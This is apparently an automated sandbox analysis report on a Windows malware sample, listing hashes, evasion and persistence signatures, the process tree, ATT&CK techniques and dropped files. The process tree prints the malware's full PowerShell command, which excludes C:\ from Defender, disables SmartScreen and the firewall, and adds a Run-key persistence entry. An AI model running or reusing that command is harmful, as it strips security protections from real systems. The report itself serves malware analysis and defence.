Analysis

  • max time kernel
    165s
  • max time network
    165s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    15-02-2022 07:34

General

  • Target

    a1c9b78a291901d7046204a1c12a3012753e315f747226ce84b2a1888d08eb99.exe

  • Size

    3.3MB

  • MD5

    54da56b5f62fedb130a09c3bdc7c8e08

  • SHA1

    1c5f44b45d798534f3d047d8f2596439ba02140c

  • SHA256

    a1c9b78a291901d7046204a1c12a3012753e315f747226ce84b2a1888d08eb99

  • SHA512

    c76c39305b9f216a114b255c3388c40e0981cd2a6a41ff7aab10d3ce346349910a200ad3e16cf570909752d64f726e3b04d2ba07209a207e6311cc3d78d2fefc

Malware Config

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a1c9b78a291901d7046204a1c12a3012753e315f747226ce84b2a1888d08eb99.exe
    "C:\Users\Admin\AppData\Local\Temp\a1c9b78a291901d7046204a1c12a3012753e315f747226ce84b2a1888d08eb99.exe"
    1⤵
    • Checks BIOS information in registry
    • Checks computer location settings
    • Drops startup file
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:640
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty –Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run –Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
      2⤵
      • Modifies security service
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1396
      • C:\ProgramData\UpSys.exe
        "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2968
        • C:\ProgramData\UpSys.exe
          "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:1992
          • C:\ProgramData\UpSys.exe
            "C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
            5⤵
            • Executes dropped EXE
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:1204
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
              6⤵
              • Drops file in System32 directory
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              PID:4076
      • C:\Windows\system32\netsh.exe
        "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
        3⤵
          PID:2664
    • C:\Windows\system32\MusNotifyIcon.exe
      %systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 13
      1⤵
      • Checks processor information in registry
      PID:3504
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k NetworkService -p
      1⤵
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      PID:388
    • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
      C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
      1⤵
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      PID:1272

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Modify Existing Service

    2
    T1031

    Registry Run Keys / Startup Folder

    1
    T1060

    Defense Evasion

    Modify Registry

    2
    T1112

    Virtualization/Sandbox Evasion

    1
    T1497

    Discovery

    Query Registry

    4
    T1012

    Virtualization/Sandbox Evasion

    1
    T1497

    System Information Discovery

    5
    T1082

    Command and Control

    Web Service

    1
    T1102

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    Downloads

    • C:\ProgramData\MicrosoftNetwork\System.exe
      MD5

      54da56b5f62fedb130a09c3bdc7c8e08

      SHA1

      1c5f44b45d798534f3d047d8f2596439ba02140c

      SHA256

      a1c9b78a291901d7046204a1c12a3012753e315f747226ce84b2a1888d08eb99

      SHA512

      c76c39305b9f216a114b255c3388c40e0981cd2a6a41ff7aab10d3ce346349910a200ad3e16cf570909752d64f726e3b04d2ba07209a207e6311cc3d78d2fefc

    • C:\ProgramData\UpSys.exe
      MD5

      efe5769e37ba37cf4607cb9918639932

      SHA1

      f24ca204af2237a714e8b41d54043da7bbe5393b

      SHA256

      5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

      SHA512

      33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

    • C:\ProgramData\UpSys.exe
      MD5

      efe5769e37ba37cf4607cb9918639932

      SHA1

      f24ca204af2237a714e8b41d54043da7bbe5393b

      SHA256

      5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

      SHA512

      33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

    • C:\ProgramData\UpSys.exe
      MD5

      efe5769e37ba37cf4607cb9918639932

      SHA1

      f24ca204af2237a714e8b41d54043da7bbe5393b

      SHA256

      5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

      SHA512

      33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

    • C:\ProgramData\UpSys.exe
      MD5

      efe5769e37ba37cf4607cb9918639932

      SHA1

      f24ca204af2237a714e8b41d54043da7bbe5393b

      SHA256

      5f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2

      SHA512

      33794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1

    • memory/640-131-0x00007FF7D2850000-0x00007FF7D3158000-memory.dmp
      Filesize

      9.0MB

    • memory/640-132-0x00007FFBA0630000-0x00007FFBA0632000-memory.dmp
      Filesize

      8KB

    • memory/640-130-0x00007FF7D2850000-0x00007FF7D3158000-memory.dmp
      Filesize

      9.0MB

    • memory/1396-139-0x0000015CB2383000-0x0000015CB2385000-memory.dmp
      Filesize

      8KB

    • memory/1396-144-0x0000015CB2388000-0x0000015CB2389000-memory.dmp
      Filesize

      4KB

    • memory/1396-143-0x0000015CB2386000-0x0000015CB2388000-memory.dmp
      Filesize

      8KB

    • memory/1396-140-0x0000015CB2390000-0x0000015CB23B2000-memory.dmp
      Filesize

      136KB

    • memory/1396-137-0x00007FFB7F403000-0x00007FFB7F405000-memory.dmp
      Filesize

      8KB

    • memory/1396-138-0x0000015CB2380000-0x0000015CB2382000-memory.dmp
      Filesize

      8KB

    • memory/4076-158-0x0000013C43890000-0x0000013C43892000-memory.dmp
      Filesize

      8KB

    • memory/4076-157-0x00007FFB7F403000-0x00007FFB7F405000-memory.dmp
      Filesize

      8KB

    • memory/4076-159-0x0000013C43893000-0x0000013C43895000-memory.dmp
      Filesize

      8KB

    • memory/4076-160-0x0000013C43896000-0x0000013C43898000-memory.dmp
      Filesize

      8KB

    • memory/4076-161-0x0000013C5F050000-0x0000013C5F094000-memory.dmp
      Filesize

      272KB

    • memory/4076-162-0x0000013C5F4A0000-0x0000013C5F516000-memory.dmp
      Filesize

      472KB